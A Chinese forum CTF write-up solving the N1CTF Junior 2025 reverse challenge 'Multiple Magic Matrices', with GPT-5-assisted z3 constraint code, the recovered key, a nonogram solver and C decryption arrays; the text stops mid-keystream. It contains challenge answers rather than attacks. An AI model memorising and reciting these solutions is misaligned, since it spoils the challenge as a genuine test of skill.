吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3435|回复: 4
收起左侧

[CTF] N1CTF Junior 2025 2/2 wp

  [复制链接]
ajguthahbzzb 发表于 2025-9-15 23:17
本帖最后由 ajguthahbzzb 于 2025-9-18 23:21 编辑

前言


什么啊,我只有打招新赛的时候才能做出题吗(

记得半年前打N1CTF Junior的时候我只做了一道pwn的签到题然后就摆了,逆向有道题会做但也是嫌麻烦没做。
最近也是忙于工作,很少抽出时间来钻研题目。
这次比赛虽然只是抱着来玩的心态打的,但我从做出第一道题开始就在尽力做每一道会做的题。最终做出一道re和三道pwn。
如果热爱真能抵岁月漫长,我愿意一直做下去。

Multiple Magic Matrices


思路
这道题是我在平台拿到附件的第一道题,加密算法没一个看懂,全问gpt5才做出来的。

题目的逻辑其实很简单,首先输入一个key,然后再输入flag。
key的加密逻辑是首先把输入的长整型转为8*8的比特数组,然后就是一个非常复杂的逻辑检测key是否满足条件。逻辑我也没看明白,我就直接问的gpt5。问了三四次做出来的答案都不对,然后gpt5加了调试信息叫我跑完给它看。我知道如果一直问下去要问很久才能做出正确答案,所以我稍微改了下prompt,加上验证答案是否正确的要求,最终正确的脚本如下:

[Python] 纯文本查看 复制代码
# pip install z3-solver
from z3 import *

N = 8

def neighbors(i, j):
    rs = []
    for r in range(max(0, i - 1), min(7, i + 1) + 1):
        for c in range(max(0, j - 1), min(7, j + 1) + 1):
            if not (r == i and c == j):
                rs.append((r, c))
    return rs

def z3_count_true(bools):
    return Sum([If(b, 1, 0) for b in bools])

def build_solver():
    s = Solver()

    # bin[i][j] -> Bool
    binv = [[Bool(f"b_{i}_{j}") for j in range(N)] for i in range(N)]
    row_sum = [z3_count_true(binv[i]) for i in range(N)]
    col_sum = [z3_count_true([binv[i][j] for i in range(N)]) for j in range(N)]

    # 1) if ( bin_key[1][4] != 1 ) return 0LL;
    s.add(binv[1][4] == True)

    # 2) if ( bin_key[4][0] != v4[4] <= 5 ) return 0LL;
    s.add(binv[4][0] == (col_sum[4] <= 5))

    # 3) v62: 存在某一行全为 1;并要求 bin[1][4] == v62
    v62 = Or([And(binv[r]) for r in range(N)])
    s.add(binv[1][4] == v62)

    # 4) if ( bin_key[6][4] ) return 0LL;
    s.add(binv[6][4] == False)

    # 5) if ( bin_key[0][2] != v4[1] < v4[2] ) return 0LL;
    s.add(binv[0][2] == (col_sum[1] < col_sum[2]))

    # 6) v58: 存在某一列全为 1;并要求 bin[0][4] == v58
    v58 = Or([And([binv[i][c] for i in range(N)]) for c in range(N)])
    s.add(binv[0][4] == v58)

    # 7) if ( bin_key[2][7] ) return 0LL;
    s.add(binv[2][7] == False)

    # 8) if ( bin_key[3][1] != v5[3] < v4[1] ) return 0LL;
    s.add(binv[3][1] == (row_sum[3] < col_sum[1]))

    # 9) v54 := 主对角线全 1 或 副对角线全 1
    diag_main_all = And([binv[d][d] for d in range(N)])
    diag_anti_all = And([binv[k][7 - k] for k in range(N)])
    v54 = Or(diag_main_all, diag_anti_all)

    # 10) if ( bin_key[4][1] != 1 ) return 0LL;
    s.add(binv[4][1] == True)

    # 11) if ( bin_key[2][4] != v54 ) return 0LL;
    s.add(binv[2][4] == v54)

    # 12) if ( bin_key[7][7] ) return 0LL;
    s.add(binv[7][7] == False)

    # 13) v49: 四角之和
    v49 = z3_count_true([binv[0][0], binv[0][7], binv[7][0], binv[7][7]])

    # 14) if ( bin_key[5][3] != 1 ) return 0LL;
    s.add(binv[5][3] == True)

    # 15) if ( (v49 == 1) != bin_key[5][5] ) return 0LL;
    s.add(binv[5][5] == (v49 == 1))

    # 16) (1,0) 邻域奇偶
    nb_10 = [binv[r][c] for (r, c) in neighbors(1, 0)]
    v48 = z3_count_true(nb_10)
    s.add(binv[1][0] == (v48 % 2 == 1))

    # 17) if ( bin_key[2][5] ) return 0LL;
    s.add(binv[2][5] == False)

    # 18) (5,6) 邻域偶奇
    nb_56 = [binv[r][c] for (r, c) in neighbors(5, 6)]
    v46 = z3_count_true(nb_56)
    s.add(binv[5][6] == (v46 % 2 == 0))

    # 19) if ( bin_key[3][1] != 1 ) return 0LL; 结合 (8) 说明条件必须为真
    s.add(binv[3][1] == True)

    # 20) if ( bin_key[4][2] != v4[0] > 5 ) return 0LL;
    s.add(binv[4][2] == (col_sum[0] > 5))

    # 21) v44: 是否存在某格其所有邻居都为 0
    v44_items = []
    for i in range(N):
        for j in range(N):
            nb = neighbors(i, j)
            # v6>0 在棋盘内恒为真,这里直接用邻居全 0
            v44_items.append(And([Not(binv[r][c]) for (r, c) in nb]))
    v44 = Or(v44_items)
    # if ( bin_key[1][2] != ((unsigned __int8)v44 ^ 1) ) => bin[1][2] == not v44
    s.add(binv[1][2] == Not(v44))

    # 22) if ( bin_key[2][0] != bin_key[2][2] ) return 0LL;
    s.add(binv[2][0] == binv[2][2])

    # 23) v39: (0..2,0..2) 1 的数量
    v39 = z3_count_true([binv[i][j] for i in range(3) for j in range(3)])
    s.add(binv[2][1] == (v39 > 4))

    # 24) if ( bin_key[6][0] != v4[7] <= 3 ) return 0LL;
    s.add(binv[6][0] == (col_sum[7] <= 3))

    # 25) v36: (0..3,0..1) 权重: 1->4, 0->3
    v36 = Sum([If(binv[i][j], 4, 3) for i in range(4) for j in range(2)])
    s.add(binv[2][6] == (v36 <= 3))   # 实际总在 False,但按原式建模
    s.add(binv[1][6] == (v36 > 7))    # 实际恒 True

    # 26) if ( (v49 == 3) != bin_key[1][3] ) return 0LL;
    s.add(binv[1][3] == (v49 == 3))

    # 27) v33: (0..4,0..2) 权重: 1->2, 0->4
    v33 = Sum([If(binv[i][j], 2, 4) for i in range(5) for j in range(3)])
    s.add(binv[3][6] == (v33 <= 2))   # 实际恒 False

    # 28) if ( bin_key[5][0] != v5[5] <= 1 ) return 0LL;
    s.add(binv[5][0] == (row_sum[5] <= 1))

    # 29) v30: 是否存在垂直相邻两格同列同为 1
    v30 = Or([And(binv[i][j], binv[i + 1][j]) for i in range(N - 1) for j in range(N)])
    s.add(binv[2][2] == Not(v30))

    # 30) if ( bin_key[5][3] != v5[0] < v4[3] ) return 0LL;
    s.add(binv[5][3] == (row_sum[0] < col_sum[3]))

    # 31) if ( (v49 == 4) != bin_key[7][1] ) return 0LL;
    s.add(binv[7][1] == (v49 == 4))

    # 32) v27: 存在一个 (i,j) 满足 上下左右都为 1 且中心为 0
    v27 = Or([
        And(binv[i - 1][j], binv[i + 1][j], binv[i][j - 1], binv[i][j + 1], Not(binv[i][j]))
        for i in range(1, N - 1) for j in range(1, N - 1)
    ])
    s.add(binv[2][3] == Not(v27))

    # 33) if ( bin_key[5][7] != v44 ) return 0LL;
    s.add(binv[5][7] == v44)

    # 34) v24: 是否存在某格,其邻居中 1 的数量 > 6
    v24 = Or([
        z3_count_true([binv[r][c] for (r, c) in neighbors(i, j)]) > 6
        for i in range(N) for j in range(N)
    ])
    s.add(binv[3][0] == v24)

    # 35) if ( bin_key[6][3] != bin_key[7][5] ) return 0LL;
    s.add(binv[6][3] == binv[7][5])

    # 36) v19: 是否存在 2x2 全 1 子方块
    v19 = Or([
        And(binv[i][j], binv[i + 1][j], binv[i][j + 1], binv[i + 1][j + 1])
        for i in range(N - 1) for j in range(N - 1)
    ])
    s.add(binv[3][2] == v19)

    # 37) if ( (v49 == 2) != bin_key[5][6] ) return 0LL;
    s.add(binv[5][6] == (v49 == 2))

    # 38) (3,3) 邻域偶奇:bin[3][3] == !(v16 & 1) -> 偶数
    v16 = z3_count_true([binv[r][c] for (r, c) in neighbors(3, 3)])
    s.add(binv[3][3] == (v16 % 2 == 0))

    # 39) (6,4) 邻域奇偶:bin[2][6] == (v14 % 2 == 1)
    v14 = z3_count_true([binv[r][c] for (r, c) in neighbors(6, 4)])
    s.add(binv[2][6] == (v14 % 2 == 1))

    # 40) if ( bin_key[6][6] != v5[3] > v4[7] ) return 0LL;
    s.add(binv[6][6] == (row_sum[3] > col_sum[7]))

    # 41) v12: 第 6 列(下标 6)列和最小:对所有 j, col[6] <= col[j]
    v12 = And([col_sum[6] <= col_sum[j] for j in range(N)])
    s.add(binv[4][3] == v12)

    # 42) if ( bin_key[4][7] != v5[5] > v4[1] ) return 0LL;
    s.add(binv[4][7] == (row_sum[5] > col_sum[1]))

    # 43) if ( bin_key[5][2] != v5[0] < v4[1] ) return 0LL;
    s.add(binv[5][2] == (row_sum[0] < col_sum[1]))

    # 44) if ( bin_key[0][7] != v5[0] > 4 ) return 0LL;
    s.add(binv[0][7] == (row_sum[0] > 4))

    # 45) v10: 是否存在某一行全 0;v8: 是否存在某一列全 0
    v10 = Or([And([Not(binv[r][c]) for c in range(N)]) for r in range(N)])
    v8 = Or([And([Not(binv[r][c]) for r in range(N)]) for c in range(N)])
    v1 = Or(v10, v8)

    # 46) return: bin[4][4] == v1 && bin[7][2] == v5[0] > v4[2]
    s.add(binv[4][4] == v1)
    s.add(binv[7][2] == (row_sum[0] > col_sum[2]))

    return s, binv

def model_to_matrix(m, binv):
    from z3 import is_true
    return [[1 if is_true(m[binv[i][j]]) else 0 for j in range(N)] for i in range(N)]

def check_bin_key_py(M, verbose=True):
    # M: 8x8 0/1 列表
    def rs(i): return sum(M[i][j] for j in range(N))
    def cs(j): return sum(M[i][j] for i in range(N))
    def nb(i, j):
        out = []
        for r in range(max(0, i - 1), min(7, i + 1) + 1):
            for c in range(max(0, j - 1), min(7, j + 1) + 1):
                if not (r == i and c == j):
                    out.append((r, c))
        return out
    def cnt(coords): return sum(M[r][c] for (r, c) in coords)

    # 开始按给定 C 代码逐条检查(遇到第一处错误就返回)
    if M[1][4] != 1:
        if verbose: print("失败: M[1][4] 应为 1")
        return False
    if M[4][0] != (cs(4) <= 5):
        if verbose: print(f"失败: M[4][0] 应等于 (col[4]<=5)={cs(4)<=5}, 实际={M[4][0]}")
        return False
    v62 = 0
    for k in range(8):
        if all(M[k][m] == 1 for m in range(8)):
            v62 = 1
            break
    if M[1][4] != v62:
        if verbose: print(f"失败: M[1][4] 应等于 v62={v62}")
        return False
    if M[6][4] != 0:
        if verbose: print("失败: M[6][4] 应为 0")
        return False
    if M[0][2] != (cs(1) < cs(2)):
        if verbose: print(f"失败: M[0][2] 应等于 (col1<col2)={cs(1)<cs(2)}")
        return False
    v58 = 0
    for n in range(8):
        if all(M[ii][n] == 1 for ii in range(8)):
            v58 = 1
            break
    if M[0][4] != v58:
        if verbose: print(f"失败: M[0][4] 应等于 v58={v58}")
        return False
    if M[2][7] != 0:
        if verbose: print("失败: M[2][7] 应为 0")
        return False
    if M[3][1] != (rs(3) < cs(1)):
        if verbose: print(f"失败: M[3][1] 应等于 (row3<col1)={rs(3)<cs(1)}")
        return False
    # v54
    if M[4][1] != 1:
        if verbose: print("失败: M[4][1] 应为 1")
        return False
    v53 = 1 if all(M[jj][jj] == 1 for jj in range(8)) else 0
    v51 = 1 if all(M[kk][7 - kk] == 1 for kk in range(8)) else 0
    v54 = 1 if (v53 or v51) else 0
    if M[2][4] != v54:
        if verbose: print(f"失败: M[2][4] 应等于 v54={v54}")
        return False
    if M[7][7] != 0:
        if verbose: print("失败: M[7][7] 应为 0")
        return False
    v49 = M[0][0] + M[0][7] + M[7][0] + M[7][7]
    if M[5][3] != 1:
        if verbose: print("失败: M[5][3] 应为 1")
        return False
    if (v49 == 1) != bool(M[5][5]):
        if verbose: print(f"失败: M[5][5] 应等于 (v49==1)={v49==1}")
        return False
    v48 = cnt(nb(1, 0))
    if M[1][0] != (v48 % 2 == 1):
        if verbose: print(f"失败: M[1][0] 应等于 (parity odd at (1,0))={v48%2==1}, 邻居1数={v48}")
        return False
    if M[2][5] != 0:
        if verbose: print("失败: M[2][5] 应为 0")
        return False
    v46 = cnt(nb(5, 6))
    if M[5][6] != (v46 % 2 == 0):
        if verbose: print(f"失败: M[5][6] 应等于 (even parity at (5,6))={v46%2==0}, 邻居1数={v46}")
        return False
    if M[3][1] != 1:
        if verbose: print("失败: M[3][1] 再次应为 1")
        return False
    if M[4][2] != (cs(0) > 5):
        if verbose: print(f"失败: M[4][2] 应等于 (col0>5)={cs(0)>5}")
        return False
    v44 = 0
    for i1 in range(8):
        for i2 in range(8):
            nbs = nb(i1, i2)
            if len(nbs) > 0 and all(M[r][c] == 0 for (r, c) in nbs):
                v44 = 1
                break
        if v44:
            break
    if M[1][2] != (not bool(v44)):
        if verbose: print(f"失败: M[1][2] 应等于 not v44, v44={v44}")
        return False
    if M[2][0] != M[2][2]:
        if verbose: print("失败: M[2][0] 应等于 M[2][2]")
        return False
    v39 = sum(M[i][j] for i in range(3) for j in range(3))
    if (v39 > 4) != bool(M[2][1]):
        if verbose: print(f"失败: M[2][1] 应等于 (v39>4)={v39>4}, v39={v39}")
        return False
    if M[6][0] != (cs(7) <= 3):
        if verbose: print(f"失败: M[6][0] 应等于 (col7<=3)={cs(7)<=3}")
        return False
    v36 = sum(4 if M[i][j] == 1 else 3 for i in range(4) for j in range(2))
    if (v36 <= 3) != bool(M[2][6]):
        if verbose: print(f"失败: M[2][6] 应等于 (v36<=3)={v36<=3}, v36={v36}")
        return False
    if (v36 > 7) != bool(M[1][6]):
        if verbose: print(f"失败: M[1][6] 应等于 (v36>7)={v36>7}, v36={v36}")
        return False
    if (v49 == 3) != bool(M[1][3]):
        if verbose: print(f"失败: M[1][3] 应等于 (v49==3)={v49==3}")
        return False
    v33 = sum(2 if M[i][j] == 1 else 4 for i in range(5) for j in range(3))
    if (v33 <= 2) != bool(M[3][6]):
        if verbose: print(f"失败: M[3][6] 应等于 (v33<=2)={v33<=2}, v33={v33}")
        return False
    if M[5][0] != (rs(5) <= 1):
        if verbose: print(f"失败: M[5][0] 应等于 (row5<=1)={rs(5)<=1}")
        return False
    v30 = any(M[i][j] == 1 and M[i + 1][j] == 1 for i in range(N - 1) for j in range(N))
    if M[2][2] != (not v30):
        if verbose: print(f"失败: M[2][2] 应等于 not v30, v30={v30}")
        return False
    if M[5][3] != (rs(0) < cs(3)):
        if verbose: print(f"失败: M[5][3] 应等于 (row0<col3)={rs(0)<cs(3)}")
        return False
    if (v49 == 4) != bool(M[7][1]):
        if verbose: print(f"失败: M[7][1] 应等于 (v49==4)={v49==4}")
        return False
    v27 = any(M[i - 1][j] and M[i + 1][j] and M[i][j - 1] and M[i][j + 1] and (M[i][j] != 1)
              for i in range(1, N - 1) for j in range(1, N - 1))
    if M[2][3] != (not v27):
        if verbose: print(f"失败: M[2][3] 应等于 not v27, v27={v27}")
        return False
    if M[5][7] != v44:
        if verbose: print(f"失败: M[5][7] 应等于 v44={v44}")
        return False
    v24 = any(cnt(nb(i, j)) > 6 for i in range(N) for j in range(N))
    if M[3][0] != v24:
        if verbose: print(f"失败: M[3][0] 应等于 v24={v24}")
        return False
    if M[6][3] != M[7][5]:
        if verbose: print("失败: M[6][3] 应等于 M[7][5]")
        return False
    v19 = any(M[i][j] and M[i + 1][j] and M[i][j + 1] and M[i + 1][j + 1] for i in range(N - 1) for j in range(N - 1))
    if M[3][2] != v19:
        if verbose: print(f"失败: M[3][2] 应等于 v19={v19}")
        return False
    if (v49 == 2) != bool(M[5][6]):
        if verbose: print(f"失败: M[5][6] 应等于 (v49==2)={v49==2}")
        return False
    v16 = cnt(nb(3, 3))
    if M[3][3] != (v16 % 2 == 0):
        if verbose: print(f"失败: M[3][3] 应等于 (even parity at (3,3))={v16%2==0}, 邻居1数={v16}")
        return False
    v14 = cnt(nb(6, 4))
    if M[2][6] != (v14 % 2 == 1):
        if verbose: print(f"失败: M[2][6] 应等于 (odd parity at (6,4))={v14%2==1}, 邻居1数={v14}")
        return False
    if M[6][6] != (rs(3) > cs(7)):
        if verbose: print(f"失败: M[6][6] 应等于 (row3>col7)={rs(3)>cs(7)}")
        return False
    if M[4][3] != (cs(6) <= min(cs(j) for j in range(8))):
        if verbose: print(f"失败: M[4][3] 应等于 (col6 最小)={(cs(6) <= min(cs(j) for j in range(8)))}")
        return False
    if M[4][7] != (rs(5) > cs(1)):
        if verbose: print(f"失败: M[4][7] 应等于 (row5>col1)={rs(5)>cs(1)}")
        return False
    if M[5][2] != (rs(0) < cs(1)):
        if verbose: print(f"失败: M[5][2] 应等于 (row0<col1)={rs(0)<cs(1)}")
        return False
    if M[0][7] != (rs(0) > 4):
        if verbose: print(f"失败: M[0][7] 应等于 (row0>4)={rs(0)>4}")
        return False
    v10 = any(all(M[r][c] == 0 for c in range(N)) for r in range(N))
    v8  = any(all(M[r][c] == 0 for r in range(N)) for c in range(N))
    v1 = v10 or v8
    if M[4][4] != v1:
        if verbose: print(f"失败: M[4][4] 应等于 v1={v1} (行或列存在全 0)")
        return False
    if M[7][2] != (rs(0) > cs(2)):
        if verbose: print(f"失败: M[7][2] 应等于 (row0>col2)={rs(0)>cs(2)}")
        return False
    return True

def print_matrix(M):
    res = []
    for i in range(N):
        print("".join(str(M[i][j]) for j in range(N)))
        res.append(int("".join(str(M[i][j]) for j in range(N)), 2))
    res0 = 0
    for num in res:
        res0 = res0 * 0x100 + num
    print(res0)

def main():
    s, binv = build_solver()
    if s.check() != sat:
        print("不可满足:约束无解")
        return
    m = s.model()
    M = model_to_matrix(m, binv)
    print("求解结果 (8x8):")
    print_matrix(M)
    print("\n开始校验...")
    ok = check_bin_key_py(M, verbose=True)
    if ok:
        print("通过校验:结果正确")
    else:
        print("未通过校验:已打印第一处错误和原因")

if __name__ == "__main__":
    main()
    # 10952543642096005566


key输入正确后,程序会输出一个意义不明的棋盘,经过多次的输入验证,程序首先会把所有输入的字符通过一个字母表转成6位二进制数组,然后对数组进行一个很复杂的加密,然后把它放到棋盘里面,最后验证棋盘是否满足一开始输出的棋盘的性质。输入的长度要满足ceil(sqrt(len*6)) = 13(后面出题人直接告诉我们输入长度是27),13*13棋盘要满足的条件是每行每列由0隔开的连续的1满足标在棋盘旁边的数组,例如:
[Plain Text] 纯文本查看 复制代码
████████████  ████  ████  ║ 6 2 2
  ██    ████      ████████║ 1 2 4
██  ████        ██  ██████║ 1 2 1 3
  ██  ██  ████          ██║ 1 1 2 1
██████    ██████████      ║ 3 5
████    ██  ██    ████  ██║ 2 1 1 2 1
██  ██  ██    ██  ████    ║ 1 1 1 1 2
      ██    ██  ██    ████║ 1 1 1 2
  ██  ████████  ████████  ║ 1 4 4
██████████  ████    ██████║ 5 2 3
  ██  ████            ████║ 1 2 2
        ████████  ██      ║ 4 1
    ██        ██    ██████║ 1 1 3
══════════════════════════╝
1 2 1 1 2 2 3 1 1 1 3 3 3
1 3 1 2 2 2 3 1 1 3 2 4 1
3 3 1 4 4 1 1 1 1 1 2 1 1
1   1     1   1 2 1 1   2
    1         2         1
    1

第一行连续的1的个数分别为6,2,2,以此类推。根据题目的约束,找gpt5写一个解密脚本:
[Python] 纯文本查看 复制代码
from functools import lru_cache
from typing import List, Tuple, Optional

Board = List[List[int]]

def extract_runs(line: List[int]) -> List[int]:
    runs = []
    count = 0
    for v in line:
        if v == 1:
            count += 1
        else:
            if count > 0:
                runs.append(count)
                count = 0
    if count > 0:
        runs.append(count)
    return runs if runs else ([] if any(line) == False else [])

def generate_line_patterns(length: int, runs: List[int]) -> List[Tuple[int, ...]]:
    if not runs:
        return [tuple(0 for _ in range(length))]

    total_ones = sum(runs)
    min_zeros_between = len(runs) - 1
    min_required = total_ones + min_zeros_between
    max_leading_zeros = length - min_required
    if max_leading_zeros < 0:
        return []

    patterns = []

    @lru_cache(None)
    def place(run_idx: int, pos: int) -> List[Tuple[int, ...]]:
        # place run_idx at or after pos
        if run_idx == len(runs):
            # fill trailing zeros
            tail = [0] * (length - pos)
            return [tuple(tail)] if pos <= length else []

        res = []
        remaining_runs = runs[run_idx:]
        remaining_ones = sum(remaining_runs)
        remaining_min_zeros = len(remaining_runs) - 1  # zeros between the remaining runs
        # Latest possible start so that remaining can still fit
        latest_start = length - (remaining_ones + remaining_min_zeros)
        for start in range(pos, latest_start + 1):
            # zeros before current run
            prefix = [0] * (start - pos)
            # current run ones
            body = [1] * runs[run_idx]
            after_pos = start + runs[run_idx]
            # add mandatory zero if not last run
            sep = []
            if run_idx < len(runs) - 1:
                if after_pos >= length:
                    continue
                sep = [0]
                after_pos += 1
            # recurse
            for suffix in place(run_idx + 1, after_pos):
                res.append(tuple(prefix + body + sep) + suffix)
        return res

    # Try possible leading zeros before the first run (this is already handled in place by varying start=pos..latest_start)
    # We start at position 0
    # But place() already enumerates the leading zeros by choosing 'start' >= pos, so a single call is enough.
    # However we must ensure the returned tuples are full length
    fulls = []
    for t in place(0, 0):
        if len(t) == length:
            fulls.append(t)
    return fulls

def is_column_prefix_valid(prefix: List[int], clue: List[int], total_len: int) -> bool:
    # Count closed runs and detect open run at end
    closed = []
    cur = 0
    for v in prefix:
        if v == 1:
            cur += 1
        else:
            if cur > 0:
                closed.append(cur)
                cur = 0
    open_run = cur  # may be 0

    # Too many closed runs already
    if len(closed) > len(clue):
        return False

    # Closed runs must match exactly
    for i, c in enumerate(closed):
        if i >= len(clue) or c != clue[i]:
            return False

    # If open run exists, it must not exceed the current clue run
    idx = len(closed)
    if open_run > 0:
        if idx >= len(clue):
            return False
        if open_run > clue[idx]:
            return False

    # Feasibility: remaining cells must fit remaining required ones and minimum zeros
    remaining_cells = total_len - len(prefix)
    if open_run > 0:
        ones_needed = (clue[idx] - open_run) + sum(clue[idx + 1 :])
        zeros_needed = max(0, (len(clue) - (idx + 1)))  # zeros between runs after finishing current
    else:
        ones_needed = sum(clue[idx:])
        zeros_needed = max(0, len(clue) - idx - 1)

    return remaining_cells >= (ones_needed + zeros_needed)

def solve_nonogram(row_clues: List[List[int]], col_clues: List[List[int]]) -> Optional[Board]:
    n = len(row_clues)
    m = len(col_clues)
    assert n == m, "这里是 13x13,行列应相等"

    # 生成每一行所有合法模式
    row_options: List[List[Tuple[int, ...]]] = []
    for i, rc in enumerate(row_clues):
        row_options.append(generate_line_patterns(m, rc))

    # 回溯
    board: List[List[int]] = [[0] * m for _ in range(n)]
    col_prefixes: List[List[int]] = [[] for _ in range(m)]

    def backtrack(r: int) -> bool:
        if r == n:
            return True
        for candidate in row_options[r]:
            # 列前缀检查
            ok = True
            for c in range(m):
                v = candidate[c]
                col_prefixes[c].append(v)
                if not is_column_prefix_valid(col_prefixes[c], col_clues[c], n):
                    ok = False
                if not ok:
                    # 回滚已推入的前缀
                    for cc in range(c + 1):
                        col_prefixes[cc].pop()
                    break
            if not ok:
                continue

            board[r] = list(candidate)
            if backtrack(r + 1):
                return True

            # 回滚
            for c in range(m):
                col_prefixes[c].pop()
        return False

    if backtrack(0):
        return board
    return None

def validate_board(board: Board, row_clues: List[List[int]], col_clues: List[List[int]]) -> bool:
    n = len(board)
    m = len(board[0]) if board else 0

    # 行校验
    for r in range(n):
        if extract_runs(board[r]) != row_clues[r]:
            return False

    # 列校验
    for c in range(m):
        col = [board[r][c] for r in range(n)]
        if extract_runs(col) != col_clues[c]:
            return False
    return True

def print_board(board: Board):
    # 同时打印 0/1 和可视化
    print("解(0/1):")
    for row in board:
        print(",".join(str(v) for v in row), end=',\n')
    print("\n可视化(#=1, .=0):")
    for row in board:
        print("".join('#' if v == 1 else '.' for v in row))

if __name__ == "__main__":
    # 题目中的行/列约束(将“0”行转为空数组)
    row_clues = [
        [2, 2, 1, 3],
        [1, 1, 1, 1, 1, 1],
        [1, 1, 3, 1, 1],
        [1, 1, 1, 1, 3],
        [],  # "0"
        [1, 2, 2, 2, 1],
        [1, 1, 1, 1, 1],
        [1, 1, 1, 1, 2],
        [1, 2, 1, 1, 1],
        [3, 2, 1, 1, 1],
        [1, 1, 1, 1],
        [1, 2, 1, 1],
        [1, 1, 1, 1, 1, 1],
    ]

    col_clues = [
        [4, 1, 3],
        [1, 4],
        [1, 5],
        [1, 1, 1],
        [4, 4],
        [5, 1],
        [3, 1, 1, 1],
        [1, 1, 1],
        [3, 1, 1, 2],
        [4],
        [4, 1, 1],
        [1, 1, 3, 2],
        [1, 2, 1, 1, 1, 1],
    ]

    board = solve_nonogram(row_clues, col_clues)
    if board is None:
        print("无解")
    else:
        assert validate_board(board, row_clues, col_clues), "解不满足校验!"
        print_board(board)
        print("\n校验通过 &#10004;")


得到的解满足题目要求。
然后就是中间那段对棋盘的加密逻辑。里面会对刚刚输入的key做某个变换生成一个数组,最好是先把数组导出为keystream。
简单逆一逆里面的每个函数,把除了生成keystream的每个函数都放进prompt里,让gpt写解密逻辑。
最终的解密代码如下:
[C] 纯文本查看 复制代码
#include <stdint.h>
#include <string.h>

uint8_t key2[] = {4,   9,   2,   3,   5,   7,   8,   1,   6};       // 与加密相同
uint8_t key3[] = {
  0x38, 0xD6, 0x18, 0x0E, 0xC6, 0xA4, 0x47, 0x4A, 0x97, 0xA1, 
  0xA2, 0x79, 0xE3, 0xF9, 0x61, 0x0B, 0xC3, 0xFA, 0x08, 0x32, 
  0x5F, 0x73, 0x4F, 0x6C, 0xBE, 0x68, 0x7B, 0xB3, 0x4C, 0x1B, 
  0x8D, 0x3C, 0x63, 0xF5, 0xE8, 0xD8, 0xCB, 0xCF, 0xBC, 0xC1, 
  0x9A, 0x3F, 0x6F, 0x9F, 0x70, 0xCA, 0x60, 0x49, 0x30, 0xE6, 
  0x86, 0x90, 0xC8, 0x1F, 0xE5, 0x6E, 0x8E, 0x00, 0x2E, 0x36, 
  0xEA, 0x91, 0x5D, 0x92, 0x2D, 0x6B, 0xEF, 0xC9, 0xDF, 0xAC, 
  0xF7, 0x20, 0x9B, 0x99, 0x58, 0xB8, 0x74, 0x16, 0x42, 0xF3, 
  0xB5, 0x89, 0x2C, 0xDA, 0x12, 0x87, 0xE1, 0xAD, 0xFF, 0x19, 
  0x9E, 0x80, 0x27, 0xB6, 0x8F, 0x53, 0x65, 0xDE, 0x24, 0x2A, 
  0x78, 0x82, 0x95, 0x09, 0x34, 0x48, 0xD2, 0x33, 0xE2, 0x3D, 
  0x55, 0xBB, 0x0D, 0x6A, 0x8A, 0x6D, 0xAB, 0x02, 0x59, 0x01, 
  0x2B, 0x56, 0xDC, 0x14, 0x72, 0xB0, 0x15, 0x37, 0xCE, 0x8B, 
  0xB4, 0x39, 0xAF, 0x83, 0x10, 0x88, 0x26, 0xF2, 0x40, 0x84, 
  0x98, 0xC2, 0x5B, 0xDB, 0x46, 0x51, 0x7E, 0xA0, 0xA3, 0xD4, 
  0x85, 0x43, 0xDD, 0xE0, 0x3A, 0x17, 0xD9, 0xAA, 0x23, 0x4D, 
  0xFE, 0x21, 0x44, 0xC5, 0x1A, 0x31, 0x9D, 0x2F, 0xA5, 0xA7, 
  0x71, 0x54, 0x5C, 0x5E, 0xC4, 0x41, 0xB7, 0xB1, 0xF0, 0xC0, 
  0x05, 0x1C, 0x66, 0x7F, 0x29, 0x77, 0xCC, 0x57, 0xFD, 0x4E, 
  0x13, 0x28, 0x5A, 0xF4, 0xD1, 0x50, 0x96, 0xD7, 0x52, 0xD3, 
  0xBD, 0xEE, 0x9C, 0x7A, 0xF8, 0xEB, 0x93, 0x3B, 0xD0, 0x69, 
  0x81, 0x03, 0x22, 0x45, 0xE4, 0x0A, 0x7C, 0xA9, 0xF6, 0x62, 
  0xA8, 0x3E, 0xBF, 0x7D, 0x67, 0xEC, 0x0C, 0x1D, 0xE7, 0x4B, 
  0xCD, 0xED, 0x94, 0xA6, 0x8C, 0x04, 0x75, 0xFC, 0x1E, 0xFB, 
  0xB2, 0x07, 0x0F, 0xD5, 0xB9, 0x76, 0x11, 0x25, 0x35, 0xBA, 
  0xF1, 0xC7, 0x64, 0xAE, 0x06, 0xE9
};     // 与加密相同

uint8_t keystream[] = {
  0x97, 0xFF, 0x40, 0x69, 0xD6, 0x18, 0x71, 0xBE, 0xEF, 0xFA, 
  0x93, 0x3F, 0x43, 0xD0, 0x48, 0xB5, 0x5F, 0x3E, 0x97, 0xFF, 
  0x40, 0x69, 0xD6, 0x18, 0x71, 0xBE, 0xEF, 0x3F, 0x68, 0x9A, 
  0xFC, 0x7F, 0x73, 0x45, 0x93, 0x11, 0xC7, 0xDD, 0x6C, 0xD3, 
  0x34, 0x72, 0x89, 0x04, 0x0B, 0xAF, 0x6E, 0x56, 0x9E, 0x05, 
  0x45, 0x7D, 0xE1, 0xFD, 0x77, 0xEB, 0x78, 0x4D, 0xC2, 0x5C, 
  0x61, 0xBA, 0x87, 0x9F, 0xE4, 0x72, 0x10, 0xFB, 0x67, 0x75, 
  0xDF, 0xC9, 0xA7, 0xA9, 0x64, 0x57, 0x00, 0x56, 0xF9, 0x60, 
  0x63, 0x0F, 0x4A, 0xEE, 0xD2, 0xE1, 0x59, 0x2D, 0x0D, 0x75, 
  0x57, 0x97, 0x30, 0x71, 0x6E, 0xE0, 0x51, 0x76, 0x9F, 0xFF, 
  0x20, 0xCA, 0x64, 0x37, 0x9B, 0xA5, 0xEB, 0x01, 0x87, 0x35, 
  0xDC, 0x1B, 0x8C, 0x7A, 0x69, 0x7C, 0x3B, 0x6F, 0xE6, 0x06, 
  0x46, 0x7D, 0xAD, 0xDD, 0xF9, 0x6D, 0x37, 0x03, 0x68, 0xD5, 
  0xDA, 0xA4, 0x41, 0xF2, 0x37, 0x5F, 0x1C, 0xA2, 0xF8, 0x33, 
  0x0F, 0xD5, 0xB7, 0xB9, 0x67, 0x81, 0xD4, 0x1F, 0xD8, 0xDE, 
  0xD9, 0x58, 0x93, 0xCF, 0x42, 0x9E, 0xFA, 0xD9, 0x41, 0x8D, 
  0xA5, 0xE5, 0x17, 0x2F, 0x20, 0x79, 0x06, 0xA8, 0x31, 0x2E, 
  0x4F, 0xBF, 0xD8, 0xFA, 0xCC, 0xEF, 0xC3, 0x05, 0x43, 0xF1, 
